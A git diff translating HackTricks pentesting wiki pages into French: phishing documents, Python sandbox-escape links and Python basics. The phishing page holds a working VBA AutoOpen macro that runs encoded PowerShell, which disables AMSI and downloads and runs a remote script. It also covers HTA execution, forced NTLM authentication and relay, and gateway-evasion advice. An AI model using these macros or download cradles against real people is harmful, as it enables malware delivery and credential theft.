- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+Si vous voulez aller plus loin, je vous recommande de **surveiller ces domaines suspects et de rechercher plus** une fois de temps diff --git a/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 14b9003ad..9efc6dbf4 100644 --- a/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,53 +1,50 @@ -# Phishing Files & Documents +## Fichiers et documents de phishing
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-## Office Documents +## Documents Office -Microsoft Word performs file data validation before opening a file. Data validation is performed in the form of data structure identification, against the OfficeOpenXML standard. If any error occurs during the data structure identification, the file being analysed will not be opened. +Microsoft Word effectue une validation des données de fichier avant d'ouvrir un fichier. La validation des données est effectuée sous forme d'identification de la structure des données, conformément à la norme OfficeOpenXML. Si une erreur se produit pendant l'identification de la structure des données, le fichier analysé ne sera pas ouvert. -Usually, Word files containing macros use the `.docm` extension. However, it's possible to rename the file by changing the file extension and still keep their macro executing capabilities.\ -For example, an RTF file does not support macros, by design, but a DOCM file renamed to RTF will be handled by Microsoft Word and will be capable of macro execution.\ -The same internals and mechanisms apply to all software of the Microsoft Office Suite (Excel, PowerPoint etc.). - -You can use the following command to check which extensions are going to be executed by some Office programs: +Généralement, les fichiers Word contenant des macros utilisent l'extension `.docm`. Cependant, il est possible de renommer le fichier en changeant l'extension de fichier et de conserver leurs capacités d'exécution de macro.\ +Par exemple, un fichier RTF ne prend pas en charge les macros, par conception, mais un fichier DOCM renommé en RTF sera géré par Microsoft Word et sera capable d'exécuter des macros.\ +Les mêmes mécanismes internes s'appliquent à tous les logiciels de la suite Microsoft Office (Excel, PowerPoint, etc.). +Vous pouvez utiliser la commande suivante pour vérifier quelles extensions vont être exécutées par certains programmes Office : ```bash assoc | findstr /i "word excel powerp" ``` +Les fichiers DOCX faisant référence à un modèle distant (Fichier - Options - Compléments - Gérer: Modèles - Aller) qui inclut des macros peuvent également "exécuter" des macros. -DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well. +### Chargement d'image externe -### External Image Load - -Go to: _Insert --> Quick Parts --> Field_\ -_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://\/whatever +Aller à: _Insertion --> Parties rapides --> Champ_\ +_**Catégories**: Liens et références, **Noms de champ**: includePicture, et **Nom de fichier ou URL**:_ http://\/whatever ![](<../../.gitbook/assets/image (316).png>) -### Macros Backdoor +### Backdoor de macros -It's possible to use macros to run arbitrary code from the document. +Il est possible d'utiliser des macros pour exécuter du code arbitraire à partir du document. -#### Autoload functions +#### Fonctions d'auto-chargement -The more common they are, the more probable the AV will detect them. +Plus elles sont courantes, plus il est probable que l'AV les détecte. * AutoOpen() * Document\_Open() -#### Macros Code Examples - +#### Exemples de code de macros ```vba Sub AutoOpen() CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") @@ -77,28 +74,26 @@ Dim proc As Object Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") proc.Create "powershell ``` +#### Supprimer manuellement les métadonnées -#### Manually remove metadata +Allez dans **Fichier > Informations > Inspecter le document > Inspecter le document**, ce qui fera apparaître l'Inspecteur de document. Cliquez sur **Inspecter** puis sur **Supprimer tout** à côté de **Propriétés du document et informations personnelles**. -Fo to **File > Info > Inspect Document > Inspect Document**, which will bring up the Document Inspector. Click **Inspect** and then **Remove All** next to **Document Properties and Personal Information**. +#### Extension de fichier -#### Doc Extension +Une fois terminé, sélectionnez la liste déroulante **Enregistrer sous le type**, changez le format de **`.docx`** à **Word 97-2003 `.doc`**.\ +Faites cela car vous **ne pouvez pas enregistrer de macros dans un fichier `.docx`** et il y a une **stigmatisation** autour de l'extension de fichier macro activée **`.docm`** (par exemple, l'icône de vignette a un énorme `!` et certains passerelles web/e-mail les bloquent entièrement). Par conséquent, cette **extension de fichier héritée `.doc` est le meilleur compromis**. -When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\ -Do this because you **can't save macro's inside a `.docx`** and there's a **stigma** **around** the macro-enabled **`.docm`** extension (e.g. the thumbnail icon has a huge `!` and some web/email gateway block them entirely). Therefore, this **legacy `.doc` extension is the best compromise**. - -#### Malicious Macros Generators +#### Générateurs de macros malveillantes * MacOS * [**macphish**](https://github.com/cldrn/macphish) * [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) -## HTA Files +## Fichiers HTA -An HTA is a proprietary Windows program whose **source code consists of HTML and one or more scripting languages** supported by Internet Explorer (VBScript and JScript). HTML is used to generate the user interface and the scripting language for the program logic. An **HTA executes without the constraints of the browser's security model**, so it executes as a "fully trusted" application. - -An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute. +Un fichier HTA est un programme Windows propriétaire dont le **code source est constitué de HTML et d'un ou plusieurs langages de script** pris en charge par Internet Explorer (VBScript et JScript). HTML est utilisé pour générer l'interface utilisateur et le langage de script pour la logique du programme. Un **HTA s'exécute sans les contraintes du modèle de sécurité du navigateur**, il s'exécute donc en tant qu'application "entièrement approuvée". +Un HTA est exécuté à l'aide de **`mshta.exe`**, qui est généralement **installé** avec **Internet Explorer**, rendant **`mshta` dépendant d'IE**. Donc, s'il a été désinstallé, les HTA ne pourront pas s'exécuter. ```html <--! Basic HTA Execution --> @@ -153,12 +148,11 @@ An HTA is executed using **`mshta.exe`**, which is typically **installed** along self.close ``` +## Forcer l'authentification NTLM -## Forcing NTLM Authentication +Il existe plusieurs façons de **forcer l'authentification NTLM "à distance"**, par exemple, vous pouvez ajouter des **images invisibles** aux e-mails ou HTML que l'utilisateur accédera (même HTTP MitM ?). Ou envoyer à la victime l'**adresse de fichiers** qui déclenchera une **authentification** juste pour **ouvrir le dossier**. -There are several ways to **force NTLM authentication "remotely"**, for example, you could add **invisible images** to emails or HTML that the user will access (even HTTP MitM?). Or send the victim the **address of files** that will **trigger** an **authentication** just for **opening the folder.** - -**Check these ideas and more in the following pages:** +**Consultez ces idées et plus encore dans les pages suivantes :** {% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} [printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md) @@ -168,21 +162,21 @@ There are several ways to **force NTLM authentication "remotely"**, for example, [places-to-steal-ntlm-creds.md](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md) {% endcontent-ref %} -### NTLM Relay +### Relais NTLM -Don't forget that you cannot only steal the hash or the authentication but also **perform NTLM relay attacks**: +N'oubliez pas que vous ne pouvez pas seulement voler le hash ou l'authentification, mais aussi **effectuer des attaques de relais NTLM** : -* [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) -* [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) +* [**Attaques de relais NTLM**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) +* [**AD CS ESC8 (relais NTLM vers les certificats)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au repo [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/generic-methodologies-and-resources/python/README.md b/generic-methodologies-and-resources/python/README.md index 8584b280f..8e485b60d 100644 --- a/generic-methodologies-and-resources/python/README.md +++ b/generic-methodologies-and-resources/python/README.md @@ -1,10 +1,10 @@ -# Python Sandbox Escape & Pyscript +# Évasion de sandbox Python et Pyscript ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,38 +12,38 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. -**Interesting pages to check:** +**Pages intéressantes à consulter :** -* [**Pyscript hacking tricks**](pyscript.md) -* [**Python deserializations**](../../pentesting-web/deserialization/#python) -* [**Tricks to bypass python sandboxes**](bypass-python-sandboxes/) -* [**Basic python web requests syntax**](web-requests.md) -* [**Basic python syntax and libraries**](basic-python.md) +* [**Astuces de piratage Pyscript**](pyscript.md) +* [**Désérialisations Python**](../../pentesting-web/deserialization/#python) +* [**Astuces pour contourner les sandbox Python**](bypass-python-sandboxes/) +* [**Syntaxe de base des requêtes web Python**](web-requests.md) +* [**Syntaxe et bibliothèques Python de base**](basic-python.md)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/python/basic-python.md b/generic-methodologies-and-resources/python/basic-python.md index abf141fa5..fd5cfde7f 100644 --- a/generic-methodologies-and-resources/python/basic-python.md +++ b/generic-methodologies-and-resources/python/basic-python.md @@ -1,32 +1,32 @@ -# Basic Python +# Python de base
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-## Python Basics +## Bases de Python -### Useful information +### Informations utiles -list(xrange()) == range() --> In python3 range is the xrange of python2 (it is not a list but a generator)\ -The difference between a Tuple and a List is that the position of a value in a tuple gives it meaning but the lists are just ordered values. Tuples have structures but lists have an order. +list(xrange()) == range() --> En python3, range est le xrange de python2 (ce n'est pas une liste mais un générateur)\ +La différence entre un Tuple et une Liste est que la position d'une valeur dans un tuple lui donne une signification, mais les listes ne sont que des valeurs ordonnées. Les tuples ont des structures mais les listes ont un ordre. -### Main operations +### Opérations principales -To raise a number you use: 3\*\*2 (not 3^2)\ -If you do 2/3 it returns 1 because you are dividing two ints (integers). If you want decimals you should divide floats (2.0/3.0).\ +Pour élever un nombre, vous utilisez : 3\*\*2 (pas 3^2)\ +Si vous faites 2/3, cela renvoie 1 car vous divisez deux entiers (integers). Si vous voulez des décimales, vous devez diviser des flottants (2.0/3.0).\ i >= j\ i <= j\ i == j\ @@ -48,35 +48,34 @@ isinstance(1, int) = True\ "abcdef".contains("abc") = True\ "abc\n".strip() = "abc"\ "apbc".replace("p","") = "abc"\ -dir(str) = List of all the available methods\ -help(str) = Definition of the class str\ +dir(str) = Liste de toutes les méthodes disponibles\ +help(str) = Définition de la classe str\ "a".upper() = "A"\ "A".lower() = "a"\ "abc".capitalize() = "Abc"\ sum(\[1,2,3]) = 6\ sorted(\[1,43,5,3,21,4]) -**Join chars**\ +**Joindre des caractères**\ 3 \* ’a’ = ‘aaa’\ ‘a’ + ‘b’ = ‘ab’\ ‘a’ + str(3) = ‘a3’\ \[1,2,3]+\[4,5]=\[1,2,3,4,5] -**Parts of a list**\ +**Parties d'une liste**\ ‘abc’\[0] = ‘a’\ 'abc’\[-1] = ‘c’\ -'abc’\[1:3] = ‘bc’ from \[1] to \[2]\ +'abc’\[1:3] = ‘bc’ de \[1] à \[2]\ "qwertyuiop"\[:-1] = 'qwertyuio' -**Comments**\ -\# One line comment\ +**Commentaires**\ +\# Commentaire d'une ligne\ """\ -Several lines comment\ -Another one\ +Commentaire de plusieurs lignes\ +Un autre\ """ -**Loops** - +**Boucles** ``` if a: #somethig @@ -94,30 +93,29 @@ for i in range(0,100): for letter in "hola": #something with a letter in "hola" ``` - ### Tuples t1 = (1,'2,'three')\ t2 = (5,6)\ t3 = t1 + t2 = (1, '2', 'three', 5, 6)\ -(4,) = Singelton\ -d = () empty tuple\ -d += (4,) --> Adding into a tuple\ -CANT! --> t1\[1] == 'New value'\ -list(t2) = \[5,6] --> From tuple to list +(4,) = Singleton\ +d = () tuple vide\ +d += (4,) --> Ajout dans un tuple\ +IMPOSSIBLE! --> t1\[1] == 'New value'\ +list(t2) = \[5,6] --> Du tuple à la liste -### List (array) +### Liste (tableau) -d = \[] empty\ +d = \[] vide\ a = \[1,2,3]\ b = \[4,5]\ a + b = \[1,2,3,4,5]\ b.append(6) = \[4,5,6]\ -tuple(a) = (1,2,3) --> From list to tuple +tuple(a) = (1,2,3) --> De la liste au tuple -### Dictionary +### Dictionnaire -d = {} empty\ +d = {} vide\ monthNumbers={1:’Jan’, 2: ‘feb’,’feb’:2}—> monthNumbers ->{1:’Jan’, 2: ‘feb’,’feb’:2}\ monthNumbers\[1] = ‘Jan’\ monthNumbers\[‘feb’] = 2\ @@ -126,32 +124,31 @@ monthNumbers.values() = \[‘Jan’,’feb’,2]\ keys = \[k for k in monthNumbers]\ a={'9':9}\ monthNumbers.update(a) = {'9':9, 1:’Jan’, 2: ‘feb’,’feb’:2}\ -mN = monthNumbers.copy() #Independent copy\ -monthNumbers.get('key',0) #Check if key exists, Return value of monthNumbers\["key"] or 0 if it does not exists +mN = monthNumbers.copy() #Copie indépendante\ +monthNumbers.get('key',0) #Vérifie si la clé existe, renvoie la valeur de monthNumbers\["key"] ou 0 si elle n'existe pas -### Set +### Ensemble -In sets there are no repetitions\ +Dans les ensembles, il n'y a pas de répétitions\ myset = set(\['a', 'b']) = {'a', 'b'}\ myset.add('c') = {'a', 'b', 'c'}\ -myset.add('a') = {'a', 'b', 'c'} #No repetitions\ +myset.add('a') = {'a', 'b', 'c'} #Pas de répétitions\ myset.update(\[1,2,3]) = set(\['a', 1, 2, 'b', 'c', 3])\ -myset.discard(10) #If present, remove it, if not, nothing\ -myset.remove(10) #If present remove it, if not, rise exception\ +myset.discard(10) #Si présent, supprime-le, sinon rien\ +myset.remove(10) #Si présent, supprime-le, sinon lève une exception\ myset2 = set(\[1, 2, 3, 4])\ -myset.union(myset2) #Values it myset OR myset2\ -myset.intersection(myset2) #Values in myset AND myset2\ -myset.difference(myset2) #Values in myset but not in myset2\ -myset.symmetric\_difference(myset2) #Values that are not in myset AND myset2 (not in both)\ -myset.pop() #Get the first element of the set and remove it\ -myset.intersection\_update(myset2) #myset = Elements in both myset and myset2\ -myset.difference\_update(myset2) #myset = Elements in myset but not in myset2\ -myset.symmetric\_difference\_update(myset2) #myset = Elements that are not in both +myset.union(myset2) #Valeurs de myset OU myset2\ +myset.intersection(myset2) #Valeurs dans myset ET myset2\ +myset.difference(myset2) #Valeurs dans myset mais pas dans myset2\ +myset.symmetric\_difference(myset2) #Valeurs qui ne sont pas dans myset ET myset2 (pas dans les deux)\ +myset.pop() #Obtient le premier élément de l'ensemble et le supprime\ +myset.intersection\_update(myset2) #myset = Éléments dans myset et myset2\ +myset.difference\_update(myset2) #myset = Éléments dans myset mais pas dans myset2\ +myset.symmetric\_difference\_update(myset2) #myset = Éléments qui ne sont pas dans les deux ### Classes -The method in \_\_It\_\_ will be the one used by sort to compare if an object of this class is bigger than other - +La méthode dans \_\_It\_\_ sera celle utilisée par sort pour comparer si un objet de cette classe est plus grand qu'un autre. ```python class Person(name): def __init__(self,name): @@ -179,25 +176,21 @@ class MITPerson(Person): def __it__(self, other): return self.idNum < other.idNum ``` +### map, zip, filter, lambda, sorted et one-liners -### map, zip, filter, lambda, sorted and one-liners - -**Map** is like: \[f(x) for x in iterable] --> map(tutple,\[a,b]) = \[(1,2,3),(4,5)]\ +**Map** est comme : \[f(x) pour x dans iterable] --> map(tutple,\[a,b]) = \[(1,2,3),(4,5)]\ m = map(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) --> \[False, False, True, False, False, True, False, 